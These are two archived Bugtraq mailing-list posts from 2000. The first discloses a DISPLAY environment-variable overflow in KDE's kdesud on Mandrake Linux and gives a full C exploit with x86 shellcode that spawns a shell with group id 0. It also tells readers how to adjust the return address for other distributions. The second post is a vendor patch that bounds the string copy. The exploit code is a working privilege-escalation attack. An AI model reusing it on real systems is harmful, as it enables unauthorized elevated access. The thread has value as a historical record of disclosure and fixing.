5140579 2000-05-28  23:20  /94 rader/ Postmaster
Mottagare: Bugtraq (import) <11048>
Ärende: KDE: /usr/bin/kdesud, gid = 0  exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <392EA476.5825D813@gsu.linux.org.tr>
Date:         Fri, 26 May 2000 19:21:10 +0300
Reply-To: noir <noir@GSU.LINUX.ORG.TR>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: noir <noir@GSU.LINUX.ORG.TR>
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM

/usr/bin/kdesud has DISPLAY enviroment variable overflow.
tested on Mandrake 7.02 (Air), exploit will get you gid=0

Shameless self promotion: Any security related job in Istanbul/Turkey
???

Respect,
noir

/*  KDE: /usr/bin/kdesud exploit by noir
 *  x86/Linux
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  DISPLAY env overflow
 *  this script will get you gid = 0 !!
 *  tested on Mandrake 7.0 (Air), for other distros play with argv1 for
eip
 *  greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org
 *
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define ALIGN   2
#define RET     0xbffff664  // Mandrake 7.0 (x86)

int
main(int argc, char *argv[])
{
        unsigned char shell[] =
        "\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char buf[400];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);

        memset(buf, NOP, 400);

        for(i = ALIGN  ; i < 160 + ALIGN; i+=4)
                *(long *) &buf[i] = ret;

        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
        buf[i] = shell[a];

        buf[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("DISPLAY", buf, 1);
        execl("/usr/bin/kdesud", "kdesud",  0);

}



-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use

mQENAzfpmZ4AAAEIALEp8z+/6SXHZ2IYf0PQnsyCm+9hfHxlQwWQs6BI5rBQdX9J
GuSqJfGX3w+fS9xl6MWRlvno3Nmnk66QhBgs8LnunmyhtFN03TBfq7mGoBYKb79R
4jX/kjGUg9oUCr+6sqwN3bXp812qKpScxKVMvMCtQissVzDLdA01U1wCFhMg7xBQ
N9lP8tJQ1gtKUnzdsnFgsLkgT3uN+Ek7bQdmwz9a1Xqcq2jxVj5j4yEErQoY3J8m
viV+u8mr/Wo0vWEGwIeCWOKNi6SXGz69Pd9a+JRjYIBnuu33o64aEYoMGbFdslNM
KbWxsXJJAwtw4/JqKt/LosYAFreteGhdA56c7JsABRG0IE5vaXIgU2luIDxub2ly
QGdzdS5saW51eC5vcmcudHI+iQEVAwUQN+mZnnhoXQOenOybAQG16Af8Dk4ZRciA
M1Fwq/fJOQJ/kcdszFHAEVHh1nToC99b+ZeoX2I3AIzrpYl0aGZBWQeGbtG4FZuz
ldWQcvT8jsQ1M1FraAZgKIzukxAxiOJL1twlQJyEDYQ3wwyWIXXqS3c1/jl7PgC1
iv7RQXxxLRn9qFPJQcaJavxRAAVytkDQWocTguRaehtdZsjxLmH2eE7cGQe0N9aL
JJfq0XLl1NjeV5pu5oTkc90/aJ/uHxPOStmPULm5WZP6nCTaQ28lPJBaDV8pLdPo
dSg+kvlvhi+k7UgAdvsETA/I6paFyOLq8lFdORA/GHof89NQX3OyJmDGTknfKtAf
9Ky2NbzA12r6zQ==
=o1d1
-----END PGP PUBLIC KEY BLOCK-----
(5140579) ------------------------------------------

5144057 2000-05-29  22:33  /41 rader/ Postmaster
Mottagare: Bugtraq (import) <11051>
Ärende: Re: KDE: /usr/bin/kdesud, gid = 0  exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID:  <m2hfbi2w3w.fsf@vador.mandrakesoft.com>
Date:         Sun, 28 May 2000 23:38:59 +0200
Reply-To: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
X-To:         noir <noir@GSU.LINUX.ORG.TR>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM, Pascal Rigaux 
             <pixel@linux-mandrake.com>, future@linux-mandrake.com
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  noir's message of "Fri, 26 May 2000 19:21:10 +0300"

noir <noir@GSU.LINUX.ORG.TR> writes:

> /usr/bin/kdesud has DISPLAY enviroment variable overflow.
> tested on Mandrake 7.02 (Air), exploit will get you gid=0

Here is the patch :

--- kdesu/kdesud/kdesud.cpp.chmou       Sun May 28 23:31:28 2000
+++ kdesu/kdesud/kdesud.cpp     Sun May 28 23:31:41 2000
@@ -161,7 +161,8 @@

     struct sockaddr_un addr;
     addr.sun_family = AF_UNIX;
-    strcpy(addr.sun_path, sock.c_str());
+    strncpy(addr.sun_path, sock.c_str(), sizeof(addr.sun_path) - 1);
+    addr.sun_path[sizeof(addr.sun_path) - 1] = 0;
     addrlen = SUN_LEN(&addr);
     if (bind(sockfd, (struct sockaddr *)&addr, addrlen) < 0) {
        xerror("bind(): %s");


--
MandrakeSoft Inc                http://www.mandrakesoft.com
In travel.                                        --Chmouel
(5144057) ------------------------------------------